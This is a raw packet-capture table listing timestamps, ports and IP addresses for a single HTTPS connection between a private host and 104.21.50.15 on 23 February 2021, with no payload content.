Feb 23, 2021 10:04:39.678849936 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.679079056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.679116011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.679152966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.679163933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.679188967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.679224968 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.680030107 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680067062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680109024 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.680110931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680146933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680183887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.680898905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680939913 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680975914 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.680990934 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.681010962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.681051016 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.681849003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.681885004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.681929111 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.681943893 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.681968927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.682005882 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.682816029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.682856083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.682890892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.682907104 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.682925940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.682962894 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.683767080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.683804035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.683846951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.683854103 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.683886051 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.683928013 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.684708118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.684745073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.684781075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.684788942 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.684824944 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.684864044 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.685615063 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.685652971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.685687065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.685698986 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.685723066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.685761929 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.686570883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.686609983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.686651945 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.686661005 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.686691999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.686729908 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.687544107 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.687582016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.687618971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.687628031 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.687657118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.687691927 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.688483953 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.688529968 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.688580990 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.688586950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.688630104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.688668966 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.689455032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.689496994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.689539909 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.689543962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.689588070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.689625978 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.690356016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.690399885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.690437078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.690443993 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.690476894 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.690511942 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.691322088 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.691369057 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.691407919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.691412926 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.691447020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.691482067 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.692248106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.692290068 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.692328930 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.692342043 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.692368984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.692403078 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.693233967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.693291903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.693356991 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.693365097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.693456888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.693506002 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.694171906 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.694325924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.694396019 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.694397926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.694451094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.694499969 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.695161104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.695225954 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.695275068 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.695281029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.695334911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.695373058 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.696060896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.696124077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.696175098 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.696175098 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.696225882 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.696268082 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.697002888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.697062969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.697120905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.697139978 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.697181940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.697227001 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.697945118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.698004007 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.698056936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.698071957 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.698112011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.698151112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.698884010 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.698944092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.698993921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.699007988 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.699047089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.699089050 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.699852943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.699913025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.699973106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.699973106 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.700031996 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.700083017 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.700783014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.700849056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.700897932 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.700911999 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.700951099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.701001883 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.701705933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.701766968 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.701817036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.701822996 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.701874018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.701917887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.702682972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.702744961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.702795029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.702802896 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.702850103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.702903986 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.703619003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.703690052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.703748941 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.703747988 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.703802109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.703850985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.704571962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.704637051 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.704694986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.704709053 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.704752922 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.704797029 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.705508947 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.705574989 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.705631971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.705634117 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.705691099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.705737114 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.706455946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.706526995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.706583977 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.706589937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.706650019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.706695080 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.707390070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.707461119 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.707523108 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.707525015 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.707587004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.707632065 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.708292007 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.708318949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.708349943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.708374977 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.708415985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.708445072 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.709247112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.709275961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.709300995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.709323883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.709351063 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.709372044 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.710177898 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.710215092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.710237980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.710263014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.710308075 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.710325956 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.711117029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.711148024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.711170912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.711194038 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.711261988 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.711276054 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.712054014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.712085009 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.712106943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.712131023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.712182045 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.712204933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.713025093 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.713073015 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.713099003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.713124037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.713171005 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.713197947 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.713985920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714014053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714040995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714071989 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714112043 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.714137077 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.714880943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714910030 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714935064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.714961052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.715008020 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.715035915 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.715866089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.715902090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.715930939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.715960979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.716036081 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.716073036 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.716793060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.716825962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.716855049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.716881037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.716981888 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.717777967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.717823982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.717855930 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.717892885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.718024969 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.718661070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.718681097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.718698025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.718713999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.718735933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.718765020 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.719609976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.719628096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.719645023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.719660997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.719700098 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.719718933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.720554113 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.720575094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.720592976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.720608950 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.720648050 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.720705032 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.721513987 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.721533060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.721549034 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.721565008 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.721621037 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.721663952 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.722337008 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.722362995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.722384930 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.722407103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.722441912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.722502947 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.723128080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.723156929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.723181963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.723206997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.723244905 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.723272085 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.723938942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.723967075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.723985910 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.724009991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.724075079 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.724740028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.724767923 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.724786997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.724807978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.724872112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.725543976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.725572109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.725593090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.725611925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.725673914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.726339102 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.726363897 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.726383924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.726402998 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.726466894 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.727150917 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.727178097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.727202892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.727227926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.727278948 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.727308989 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.727937937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.727965117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.727988005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.728018045 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.728069067 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.728091002 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.728739023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.728768110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.728795052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.728820086 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.728832960 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.728876114 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.729542971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.729571104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.729592085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.729614019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.729666948 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.729693890 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.730343103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.730369091 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.730391979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.730418921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.730431080 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.730475903 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.731137991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.731164932 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.731188059 CET	443	49769	104.21.50.15	192.168.2.6
